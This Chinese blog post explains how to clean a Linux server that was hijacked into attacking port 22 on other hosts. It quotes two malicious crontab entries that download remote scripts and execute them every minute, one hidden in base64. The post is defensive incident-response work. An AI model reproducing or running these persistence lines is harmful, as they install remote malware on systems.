技术博客 技术博客
  • JAVA
  • 仓颉
  • 设计模式
  • 人工智能
  • Spring
  • Mybatis
  • Maven
  • Git
  • Kafka
  • RabbitMQ
  • RocketMQ
  • Redis
  • Zookeeper
  • Nginx
  • 数据库套件
  • MySQL
  • Elasticsearch
  • MongoDB
  • Hadoop
  • ClickHouse
  • Hbase
  • Hive
  • Flink
  • Flume
  • SQLite
  • linux
  • Docker
  • Jenkins
  • Kubernetes
  • 工具
  • 前端
  • AI
GitHub (opens new window)
  • JAVA
  • 仓颉
  • 设计模式
  • 人工智能
  • Spring
  • Mybatis
  • Maven
  • Git
  • Kafka
  • RabbitMQ
  • RocketMQ
  • Redis
  • Zookeeper
  • Nginx
  • 数据库套件
  • MySQL
  • Elasticsearch
  • MongoDB
  • Hadoop
  • ClickHouse
  • Hbase
  • Hive
  • Flink
  • Flume
  • SQLite
  • linux
  • Docker
  • Jenkins
  • Kubernetes
  • 工具
  • 前端
  • AI
GitHub (opens new window)
  • Docker

    • Docker 概念、命令及Dockerfile介绍
    • Docker-Compose 命令及基本使用
    • Docker私有库的开发
  • Jenkins

    • Jenkins(一) 持续集成及Jenkins介绍
    • Jenkins(二) Jenkins安装和环境配置
    • Jenkins(三) Jenkins用户管理及凭证
    • Jenkins(四) Maven安装和配置
    • Jenkins(五) Jenkins构建Maven项目
    • Jenkins(六) Jenkins项目构建细节
    • Jenkins(七) Jenkins+Docker+SpringCloud微服务持续集成(上)
    • Jenkins(八) Jenkins+Docker+SpringCloud微服务持续集成(下)
  • Kubernetes

    • kubernetes(一) 概念及介绍
    • kubernetes(二) 集群环境搭建
    • kubernetes(三) 资源管理
    • kubernetes(四) Namespace、Pod、Lable、Deployment、Service 的资源介绍
    • kubernetes(五) Pod 介绍及配置
    • kubernetes(六) Pod 生命周期
    • kubernetes(七) Pod 调度
    • kubernetes(八) Pod 控制器详解
    • kubernetes(九) Service介绍、类型及使用
    • kubernetes(十) Ingress介绍及使用
    • kubernetes(十一) 数据存储(挂载卷管理)
    • kubernetes(十二) 安全认证
    • kubernetes(十三) DashBoard
  • linux

    • linux 创建用户及权限操作
    • Linux 磁盘操作相关命令
    • Linux 文本数据处理工具awk命令
    • Linux 定时任务
    • Linux 命令总结
    • Linux 22端口对外攻击解决

Linux 22端口对外攻击解决

近日同事的服务器遭受到攻击,怀疑是由于上网环境不安全,服务器链接信息被劫持,植入病毒造成服务器告警,告警信息如下:

警告

您的账号(账号 ID: 100016685465,昵称:new)下的设备(IP:121.5.146.143),存在对其他服务器端口(TCP:22)的攻击行为,请您做好安全自查整改,并在 24 小时内停止上述行为。如逾期未处理,我们核实后将按相关法律法规和腾讯云服务协议要求对您停止服务。

从告警信息可以看出是我们的服务器对外发起了攻击,后来对外访问得 22 端口被禁用,缓解了这个问题,但是没有从根本解决,接下来记录一下如何解决问题。首先你看到得自己的服务器状况一定是这样的

面对进程占用我们可以 kill 掉,但还是会被重新启动,所以这种情况先检查是否有定时任务

# 显示 crontab 任务。 
crontab -l 
# 如果有非法定时任务删除他 
crontab -r 任务
1
2
3
4

但是我查看后同事的服务没有任何定时文件在执行,那我们需要查看 /etc/crontab 是否有非法定时任务

* * * * * root echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d|bash|bash
* * * * * root python -c "import urllib2; print urllib2.urlopen('http://b.\\c\\l\\u-e\\.e\\u/t.sh').read()" >.1;chmod +x .1;./.1                                                                                                                                       
1
2

以上内容可以看到有两个定时任务一直再跑,其中一个一直在下载文件并且执行,此时我们干掉这两个任务,我在注掉这两个任务提示我

注意

/etc/crontab" E514: write error (file system full?) 系统文件已满

此时需要删除一些文件释放空间以对以上内容进行保存

# 查看哪个文件占用较大可以删掉
du -sh 文件
1
2

以上完成后,重新启动定时任务

systemctl restart crond.service
1

找到进程所在文件,删除文件,停止进程

ps -ef | grep 18732
1

以上操作下来如果还有问题,那么可能需要排查所运行的服务是否有异常,比如 docker 是否有重复容器被启动等

上次更新: 6/11/2025, 4:10:30 PM
Linux 命令总结

← Linux 命令总结

Theme by Vdoing | Copyright © 2023-2025
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式